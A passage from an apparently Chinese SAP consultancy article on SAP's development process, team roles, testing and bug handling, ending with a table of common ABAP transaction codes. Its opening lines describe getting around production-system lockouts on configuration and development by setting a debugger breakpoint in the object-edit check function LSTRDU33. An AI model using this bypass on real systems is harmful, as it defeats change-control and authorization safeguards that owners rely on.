通常在QAS和PRD server会象图3.6.4一样设置禁止IMG和开发,这时当使用SE38SE71Smartforms等Tcode时甚至不会去检测Access Key使用上面的方法可轻松进行IMG和开发.

2。如何绕过限制去配置(IMG)系统读者可自行研究。

3. 试着去除任何人在PRD的SE38权限和/H(S_DEVLOP

4。 LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS)是用来检测ABAP object可否Edit的只要在此设置断点即可. LSTRDU34 LSTRDU44 LSTRDU39会被其调用(使用F5单步执行追踪)。

 

6. 开发项目流程简介.

由于SAP提供的各种解决方案要面对不同用户千差万别的功能需求,在项目开始之前,需要进行非常详尽的规划,以决定功能的取舍和增强,这一阶段决定着产品的发展方向,也是项目成败的关键。同时,这一工作也要求参加项目的SAP和非SAP人员进行充分的交流沟通,从而为将来的开发打下基础。特别是对于那些比较复杂、跨模块的项目,需要在模块间的功能开发和工作进度上作出统一的规划,以避免重复开发和集成问题。

通常,规划阶段的工作可以按三个步骤进行。

第一步是收集和评估开发需求,为新产品或升级现有产品而从各种渠道收集用户需求和意见。如果是升级现有产品,则由开发组对开发请求进行评估,并作为新版本开发的基础;如果是新应用模块开发,则由项目的产品管理小组和开发经理对实际应用和流程进行分析,并提供粗略的开发计划,为下一步的决策做必要的准备。

第二步则是开发规划的决策阶段,主要是分析整个项目的可行性,以及确定项目开发的优先级,对于比较重要的或者是策略性的项目,通常是由部门主管或执行董事参与决策。

第三步,则需要制定详尽的开发计划,包括功能划分、工作分配、进度控制等。

走完规划阶段,项目组以及产品经理则开始对软件产品进行分析,确定各种用户需求的优先级,并决定哪些功能将在系统中实现,以及实现的程度和方式。这一阶段的工作需要与用户及咨询顾问进行大量的面对面交流,在得到用户需求的同时,也需要将项目的进展及时通报,以得到反馈。需求形成阶段作为开发阶段的基础,最终形成的需求文档需要从用户的角度对产品进行描述,对各种功能模块的描述要尽量明了,因为此文档也将是产品实现和测试的基础。同时,文档还要就产品可用性、运行性能等方面进行规定。

当项目组拿到了具体详尽的需求文档后,设计阶段开始启动。在设计阶段,由各功能模块的负责人组织小组成员,一起建立模型(如数据模型、功能模型、过程模型、对象模型等),创建必要的数据结构和函数,同时,对程度元素的命名原则、开发规范及模块间的接口等作出定义。由此形成的设计文档成为项目实现的基础,并且是软件维护的重要参考,所以,此文档应当尽量详细。此阶段的工作以用户需求为基础,为用户提供有效的解决方案,设计的好坏将直接影响到系统的功能和性能。

当某种功能比较复杂时,设计文档通常可以分成两类: 一类是粗略设计,参考系统中现有的过程、工具和函数库,以确定可以复用的对象,使用系统中现有的对象和技术可以提供新功能的可靠性,降低开发成本;第二类是详细设计,包括对数据字典、程序对象、用户界面、处理流程以及各个对象之间的接口定义进行详细的设计。

设计阶段之后,就进入了具体的开发阶段,即实现阶段。实现阶段是以设计文档为基础来创建数据字典和程序对象。SAP对ABAP程序开发有比较完整的指导文档,并要求开发人员按照SAP的开发规范创建用户界面。在R/3项目开发中,规范性与技术同样重要,由于一个项目通常是由很多开发人员协同完成的,程序的可读性和详细文档对于项目来讲是非常重要的。在开发的同时,文档开发人员为相应的功能模块创建在线文档、培训教材等必要的用户文档,这需要开发人员的密切协作。此阶段同时也是开发测试阶段,开发人员需要对新的模块进行测试、代码检查、可用性测试等,并进行开发人员间相互测试,以便在开发阶段保证模块的质量。

实际的测试阶段从具体的开发阶段就开始了,此谓开发测试,而正式的测试则是在质量经理(QM)主持下,由质量管理小组、产品管理小组及用户共同参与进行非常完整、细致的测试。它不只面对单一功能单元,而是根据用户需求文档、设计文档并按用户实际流程设计出测试文档,对系统的可用性、性能、用户界面、表达统一性、文档、翻译等进行全面测试。

同时开发人员需要密切配合,及时修改发现的错误。测试阶段的工作是软件提供给用户前的最后一道工序,它直接关系到软件的质量。所以,此工作需要非常周密的安排,就这个意义而言,QM也担负着保证软件质量的责任。

SAP的技术支持分成三级: 当地支持(Local Support)、地区支持(Regional Support)和开发支持(Development Support)。当用户遇到的问题无法由前两级完成时,这个问题就会送达开发人员,由开发人员确认错误来源,并提供正确的响应。这一过程可以包括在用户系统中修改程序、文档,如果问题所涉及的功能比较广泛,SAP内部相关的开发人员会协同工作,共同解决问题。随后的分析会对问题或需求有更加深层的总结,一旦需要,新的需求会被包括在新版本的开发中。SAP还会提供Hot Packages和Hot News,以帮助用户及时处理系统中的错误。

 

流程错误是非常致命的,它会导致系统无法实现用户的需求,它通常发生于项目规划和设计阶段。对于这方面的错误,SAP有相应的机制加以控制。在用户需求分析过程中,产品管理小组与用户之间进行协同工作,同时经验丰富的项目经理和开发经理也会参与,最后形成的用户需求和项目规划文档还要由专门的小组进行周密的分析和检查。尤其是在模块设计阶段,这种检查更加严格,通常这一阶段的检查是由资深专家组成的小组来完成的,其成员会有来自于其他项目的,从而保证了系统设计的质量。

程序错误是在所难免的,SAP除了利用测试阶段的工作来减少Bug的同时,还用以下手段在开发阶段尽可能地避免Bug: ①自我测试,要求开发人员在完成自已负责的模块后,马上进行测试,消除模块内部的错误;②相互测试,要求开发人员之间测试对方的模块,由于不同开发人员的思维、开发方式的不同,对方会很容易找到一些自已很难发现的问题;③代码检查,通常是由资深开发人员及开发经理来进行,从模块功能、性能、可用性、编码规范、模块集成性等角度进行全面检查。这一工作会在系统实现的各个阶段定期进行。SAP还提供了如CATT等辅助测试工具。

对于系统的后期维护阶段,SAP也有对Bug的完整的管理流程。这可以以开发支持为例来说明。例如,当用户系统发现Bug时,如果当地支持和地区支持都无法处理时,此维护请求会被提交相关负责的开发人员。开发人员负责尽快修改用户系统中的Bug,或为用户提出修改建议和解决方案,同时,也需要在更正(Correction)系统中进行修改,以便以补丁(Patch)的方式提供给所有用户。但对Correction系统中的修改有非常严格的管理,并需要一定的步骤:①与开发经理讨论并征得许可; ②在OSS系统中创建修改申请,并对Bug所在版本、症状、解决方案作出详细的描述和解释,作为用户/顾问将来处理此Bug的参照;③开发人员在Correction系统中修改程序,消除Bug,同时要求进行仔细的测试;④开发人员将修改请求转给另外的开发人员,通常是开发经理或资深的开发人员,由其来进行更严格的测试,此次测试不但要测试Bug是否真正解决,还要确认对程序的修改是否影响了其他程序或模块,以避免带来新的问题。

这些修改会定期以Hot Package和Hot News的方式提供给用户,用以修改用户系统中的Bugs,但由于R/3各模块之间的相关性/依赖性很强,Patch的发布需要各模块特别是应用模块与Basis模块之间的协调和同步。

 

SAP的开发系统中,七种角色的设计保证了整个SAP研发系统有条不紊、紧张有序地进行。首先,在战略层面,不同的资深副总裁(SVP) 或副总裁 (VP)会总体负责一个特定的领域,从企业战略高度出发把握系统的发展和开发方向,并对公司的产品结构和市场起着决定性的作用,同时控制产品开发的进展和成本。

其次,行业解决方案小组(IBS)和核心应用模块领导小组(Core)分别就各自管理的领域协调管理项目前期的项目需求、规划工作,二者也有非常密切的关系,即IBS就新的开发需求对核心应用模块提出新的开发建议并随时监控开发进展,而Core应用开发在开发产品的同时,会响应IBS新的开发请求,为新的解决方案提供支持。

SAP,计划总监(Program Directors)是一种特殊的角色,计划总监管理所领导部门的项目开发计划,负责开发资源的调配,根据项目分析方案决定项目最终的功能与方向,并监控具体项目的进展情况。

项目经理负责一个项目的计划管理,包括功能模块的划分、成本及开发进度的估算、资源调配、状态报告等,并负责协调产品管理、各开发小组、质量管理的工作。

产品经理(PM)和其领导的产品管理小组负责分析解释来自于用户的各种需求,并参与制定用户需求文档和开发请求,所以,全面的行业应用背景是对产品经理最重要的要求,同时也要求对R/3有一定的理解。产品管理小组在整个开发过程还有其他工作: ①协助项目经理及模块负责人完成模块设计; ②在开发阶段,与开发人员及文档开发人员密切协作,为程序开发和制作文档提供帮助;③参与系统测试,培训用户及提供咨询服务。

开发经理(DM)领导各个开发小组,负责分析用户需求(根据用户需求文档,同时也有可能直接与用户对话),规划设计所负责模块的程序对象,估计各个开发阶段的开发工作量和进度,从而对整个进程加以控制。开发经理是SAP各项目开发中的中坚力量,也是SAP为此而自豪的精华,他们都有多年的开发和应用经验,对R/3系统及ERP系统有非常深刻的认识,从而保证了R/3系统的先进性和稳定性。开发经理不但提供了系统设计,而且还要直接与开发人员交流,调配资源,保证系统的实现; 同时,在系统测试、产品维护等方面也起着非常重要的作用。应该说,开发经理是整个项目开发的核心。通常,在一个项目中,产品经理和开发经理的配备比例是1∶3。

质量经理(QM)和其领导的小组负责根据用户需求文档、设计文档等设计完整的测试文档,并在产品管理小组、开发小组及用户/顾问的协助下完成对最终系统的测试工作。质量经理往往要求对产品的实际应用、R/3技术甚至R/3项目的开发都有非常深刻的理解,而且经验也是很重要的一个条件。作为系统的最后一关,SAP对质量经理的要求是非常高的,其结果是保证了R/3系统的稳定性。

SAP最基础的角色要属开发人员(Developer)了,他们负责实现设计文档中分配的工作,并向开发经理报告开发进度,协助文档开发人员完成文档撰写工作。开发人员必须对SAP ABAP开发语言非常熟悉,并能熟练运用各种开发技巧,同时也需要充分理解用户的需求。开发人员在开发过程中允许更改设计,但必须与开发经理进行充分讨论并负责对开发文档进行修改,以保证二者的同步性。在测试阶段,开发人员必须对测试的错误及时响应,以提供最有效的支持。在开发人员中,还有一种特殊的开发者角色,可以称之为信息开发者(Information Developers),主要负责系统语种的翻译(比如英译汉)以及部分词汇的修饰,他们不要求太懂开发,通常,对一些专门的翻译人才进行一些产品培训就可以从事信息开发的工作了。每一个开发小组会配备4~5个信息开发者。

SAP,还有一种角色就是文档经理(Knowledge Manager),文档经理及其领导的小组负责撰写在线文档、帮助文档、培训教材等,并将用户界面翻译成其他国家的语言,这项工作需要在项目其他成员的帮助下完成,并根据开发的变化及时更新文档。

 

SAP认为,在市场需求千变万化、技术发展一日千里的今天,软件企业经常会面临成本超支、产品交付延迟、软件质量不过关和客户不满意等问题的困扰,遵循一些成熟而规范的管理理论和方法,形成一套适合于企业自身情况的开发模式和质量控制体系将有助于企业解决这些问题,并降低项目失败的风险。

SAP认为自己一直在往这个方向努力,从管理和技术两个方面规范自己的软件开发过程。除了前面已提到的关于开发队伍组织结构的建立和对软件开发周期各个阶段的定义等管理层面的问题之外,SAP引进软件工程的最新研究成果,提出诸如业务对象(Business Object)、业务应用程序接口(BAPI)等概念和技术,从软件构架的角度来优化开发和管理的过程。

作为两种提高质量管理的方法和工具,CMM和ISO 9000系列之间并不是泾渭分明的,而是互有交叉。SAP的质量监控体系虽然建立在ISO 9000的基础上,但董美婷认为CMM所提出的理论和方法已经被SAP吸收和运用了。事实上,无论是CMM还ISO标准,它们都只不过是一种规范和方法,企业最终的关注点应该是自身产品质量和管理能力的提高,也就是运用这些理论和方法后所取得的效果。换言之,也就是说不能仅为了取得CMM资格而实施CMM,更重要的是如何采取CMM评估提供的科学方法来管理自己的企业。

 

 

众周所知,企业管理软件的客户需求研究、软件开发过程、产品规划等有着一般应用软件所不同的特点,他们之间究竟有什么样的差别?董美婷认为有四个比较明显的区别。

首先,应用软件在激烈的市场竞争压力下,对于功能的易用性、技术和性能都有很高的要求,需要不断提高在这方面的优势,以便在竞争中立于不败之地;而管理软件的开发则在此基础上,更注重系统如何能够真正反映和实现企业的运作流程,如何提高企业的工作效率和效益。因此,在开发管理软件系统时,需要开发成员特别是产品管理人员、项目设计人员对解决方案所面对的企业有非常深刻、完整的了解,这也决定了在项目开发初期,与相关企业用户、咨询顾问的沟通成为项目成败的关键。同时,企业的运作流程需要贯穿整个项目设计和实际过程,开发人员在实现设计之前,要对所负责的模块及其与模块之间的关系从应用的角度进行分析、理解。而在开发过程中,还要不断与产品管理小组成员甚至用户进行及时沟通。用户需求、企业运作流程、模块集成是整个开发周期中各个阶段讨论和研究的最主要问题,这会使企业的理念深入到系统中。

其次,ERP是一个系统工程,在企业运作过程中,各个模块之间有着极其密切的关系,比如财务、生产、人力资源等模块通常需要协同工作,系统需要在实现单一模块功能的同时,又要使企业作为一个整体来统一管理,由此,模块之间的接口和协调的重要性更加增强。所以开发一个ERP项目,不仅需要对项目的解决方案有充分理解,还要同时与其他模块进行沟通,将项目作为整个系统工程的一个部分。SAP在开发项目的过程中,会有一个特殊的工作小组来负责各个相关模块之间的交流和协调工作,这个小组既有专门人员,也有来自各模块开发组中的项目经理或非常资深的开发人员。这保证了R/3各模块之间不但能够实现技术上(模块接口等)的集成,也保证了在企业流程高度上的完全整合。

第三,作为一个通用产品,ERP系统需要面对众多需求不一、流程各异的企业,系统的可配置性、伸缩性就成为最重要的性能之一,特别是SAP R/3系统,作为一个全球化的产品,在这方面的要求更加关键。项目开发初期的项目规划阶段也主要是对此方面进行大量工作,因为并不是所有的需求都能在系统中有完全的体现,而是在综合研究了各类企业的需求之后,提出通用的解决方案,而对于比较特殊的需求,则通过系统的后期可扩展性来解决。为此,SAP提供了许多技术来实现不同级别的扩展能力,比如,系统个性化设置、企业结构配置、用户二次开发等,并且已经在开发过程预留接口。

第四,在产品开发和测试阶段,ERP产品项目的开发人员组成方面与应用软件的开发有很大不同,最明显的一点就是用户和咨询顾问的参与性。项目的开发和设计不但要及时与用户进行交流,而且也会有用户直接参与到这项工作当中,尤其在测试阶段,功能模块的正确性及性能可以由开发小组来完成,但对于流程的测试,用户和咨询顾问则是必不可少的,这也是验证系统可用性的关键步骤。

 

附录:

1.ABAPer常用Tcode

ABAPer 常用Tcode

注意下面两点:

1使用Tcode S001后显示SAP easy access ABAP workbench能看到下面所有Tcode
2使用Tcode不当SE43看到的Area Menu实际上大都是可直接运行的Tcode(但是  

不支持/n Area menu/O Area menu等)运行这些Tcode看到的是相关Application area下所有的可用Tcode层次树比如ASMN看到的是和AM相关Tcode树AUTH则是和授权相关Tcode树。

 

Tcode

 描述

CMOD(SMOD)

SAP增强

OSS1

连接SAP OSS

S001

ABAP开发工作台菜单(含多Tcode)

SA38

运行程序(SE38开发)

SCAT

Computer Aided Test Tool

SE01

传递传输请求(同一服务器的不同client)

SE09

传输请求操作

SE10

同SE09

SE11

维护ABAP数据字典

SE12

显示数据字典

SE13|SE14|SE15

数据字典相关

SE16|SE17

查看表数据

SE30

ABAP运行分析

SE32

ABAP文本元素维护

SE35

ABAP/4对话框编程维护

SE36

维护逻辑数据库

SE37

维护Function module

SE38

ABAP 编辑器

SE39

程序比较

SE41

菜单制作器

SE43

应用区菜单(相同功能tcode组成一area menu)

SE51

屏幕绘制器

SE54

生成表的维护视图,然后SE16|SM30可直接维护表数据

SE61

文档维护

SE63

翻译

SE71->SE76

SAPscript相关 Tcode

SE80

ABAP库

SE81

ABAP应用层次

SE84|SE85|SE86

ABAP/4 Repository Information System

SE91

建立消息类和消息

SE92

维护系统Log消息

SE93

给程序维护Tcode

SEU

Repository Object Browser

SHD0

维护Tcode运行变式(Variant)

SM04

查看当前用户

SM12

删除显示Locked objects(不可删除被lock的传输请求)

SM21

Dump log查看

SM30|SM31

维护table|view数据

SM32

维护表

SM35

查看Batch input session(建立BDC使用SHDB)

SM36

定义后台job

SM37

查看后台job

SM50

Process Overview

SM51

Display system servers processes, etc.

SM62

Display/Maintain events in SAP

ST05

SQL等跟踪,使用它可跟踪程序使用的表等.

SU53

检查授权对象,如出现权限问题可使用

 

 



资讯中心


 
  科莱特新闻

 > 行业信息

  SAP知识库

  SAP问答

 > SAP技术文档

   SAP学习方法

   > 人才招聘

 关于我们

在线顾问

联系方式

关于我们

实施方案

留言内容

北京市朝阳区东三环南路58号
富顿中心A座908室

400-999-7932

bd@lccjgg.com

© 2013-2018 北京科莱特信息技术有限公司版权所有 京CIP备15015640号-2

北京科莱特信息技术有限公司版权所有 京CIP备15015640号-2
使用 / 隐私政策条款 

2388362116

在线咨询 

返回顶部